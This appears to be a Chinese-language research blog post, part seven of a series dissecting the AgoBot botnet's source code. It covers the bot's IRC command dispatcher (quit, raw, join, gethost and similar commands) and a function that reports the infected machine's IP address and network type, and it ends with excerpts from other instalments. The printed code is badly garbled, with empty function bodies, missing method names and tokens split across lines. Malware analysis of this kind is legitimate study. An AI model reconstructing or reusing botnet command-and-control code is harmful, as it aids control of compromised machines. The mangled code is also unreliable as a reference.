AgoBot 殭屍網路研究筆記(七)

2021-06-17 16:07:02 字數 3376 閱讀 9372

最近工作比較忙沒有及時更新最近的分析結果,終於週末有點時間了,趕快補上

email:[email protected]

1、circ 類中的 init()成員函式 /

////函式功能:circ類的初始化函式, 為bot新增irc相關的處理函式

//引數:無

//返回值:

void //

///void

circ

::init()

2、bool

circ

::handlecommand

(cmessage

*pmsg

)函式的處理

////函式功能:處理與irc相關的命令

//引數:

cmessage *pmsg 接收到的訊息

//返回值:

bool  處理正確返回true,否則返回false //

///bool

circ

::handlecommand

(cmessage

*pmsg)

else

if(!

pmsg

->

scmd

.compare

("irc.quit"

))  

//處理退出指令

else

if(!

pmsg

->

scmd

.compare

("irc.action"

)) //處理irc.action 指令:makes the bot send an action to the target

else

if(!

pmsg

->

scmd

.compare

("irc.netinfo"

)) 

else

if(!

pmsg

->

scmd

.compare

("irc.getedu"))

} else

if(!

pmsg

->

scmd

.compare

("irc.gethost"))

} else

if(!

pmsg

->

scmd

.compare

("irc.join"))

else

if(!

pmsg

->

scmd

.compare

("irc.part"))

else

if(!

pmsg

->

scmd

.compare

("irc.raw"))

else

if(!

pmsg

->

scmd

.compare

("irc.privmsg"))

else

if(!

pmsg

->

scmd

.compare

("irc.mode"))

else

if(!

pmsg

->

scmd

.compare

("irc.server"))

return

false; 

} 3、

cstring

circ

::netinfo

()函式,

獲得bot自身所在網路的,網路資訊

////函式功能:獲得bot自身所在網路的,網路資訊

//引數:無

//返回值:

cstring 用來儲存獲得的各種網路資訊 //

cstring

circ

::netinfo()

else

} else  

}#else

// fixme! add connection type detection for linux 

//這裡可以新增linux平台上的,獲得網路狀況的函式

#endif 

// win32

char

szip

[16]; 

sprintf

(szip

, "%d.%d.%d.%d",

(unsigned

char)sa

.sa_data

[2], (

unsigned

char)sa

.sa_data

[3],   

//獲得bot自身的ip位址 (

unsigned

char)sa

.sa_data

[4], (

unsigned

char)sa

.sa_data

[5]);

snetinfo

.assign(""

); 

snetinfo.(

"connection type: ");

#ifdef 

win32

//如果是win平台,可以得到以下資訊

snetinfo.(

ctype

); 

snetinfo.(

" ("

); 

snetinfo.(

cname

); 

snetinfo.(

"). ");

#else

//如果是linux平台,返回結果只能告訴使用者,bot在linux平台

snetinfo.(

"linux. ");

#endif 

// win32

snetinfo.(

"local ip address: "

); snetinfo.(

szip

); snetinfo.(

". ");

snetinfo.(

"connected from: "

); snetinfo.(

m_slocalhost

); snetinfo.(

". ");

snetinfo.(

"private ip: ");

if(isprivate

(szip

))//判斷是否是私有網路,通過ip位址是否是10或192或172來判斷

else

return

snetinfo; 

}

AgoBot 殭屍網路研究筆記(一)

由於工作需要,著手分析乙個agobot的開源的程式,一些收穫或許和大家分享 email anzijin sina.com 1 源 分以下幾塊 agobot3 source agobot 主體源 重點分析這塊的 scanner source 程式內應該包含了乙個掃瞄器模組 ddos source 實現...

AgoBot 殭屍網路研究筆記(二)

email anzijin sina.com 1 main函式 1 10 agobot3 0.2.1 pre3 alpha debug on win32 starting up.2 10 debugging with debuglevel of 10.2 cconsdbg類 有四個成員函式分別是 其...

AgoBot 殭屍網路研究筆記(十三)

email anzijin sina.com cinstaller 類分析完成,回到cbot類的分析 1 cbot handlecommand cmessage pmsg 函式 函式功能 處理傳送來的由bot類負責處理的訊息 引數 cmessage pmsg 接收到的訊息 返回值 處理成功返回tru...